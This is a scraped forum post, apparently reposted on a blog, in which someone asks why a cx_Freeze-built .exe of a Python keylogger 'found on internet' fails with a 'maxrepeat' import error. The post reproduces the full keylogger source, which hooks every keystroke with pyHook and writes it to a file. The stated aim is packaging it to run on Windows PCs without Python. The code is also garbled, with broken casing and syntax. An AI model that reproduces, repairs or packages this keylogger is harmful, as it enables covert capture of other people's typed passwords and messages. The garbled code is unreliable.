importerror - cx_Freeze program created from python won't run -
i trying create .exe version of python keylogger program found on internet, can run on windows pc's without python installed. code program follows:
import pythoncom, pyhook, sys, logging log_filename = 'c:\\important\\file.txt' def key_press(char): logging.basicconfig(filename=log_filename,level=logging.debug,format='%(message)s') if char.ascii==27: logging.log(10,'esc') elif char.ascii==8: logging.log(10,'backspace' else: logging.log(10,chr(char.ascii)) if chr(char.ascii)=='¬': exit() return true hm=pyhook.hookmanager() hm.keydown=key_press hm.hookkeyboard() pythoncom.pumpmessages()
after .exe file has been created using build function of cx_freeze, following error occurs in separate error box when run file:
cannot import traceback module exception: cannot import name maxrepeat original exception: cannot import name maxrepeat
i don't have knowledge of cx_freeze @ all, , appreciate help, when have tried using simple programs such hello_world.py program, .exe file doesn't appear work.
Comments
Post a Comment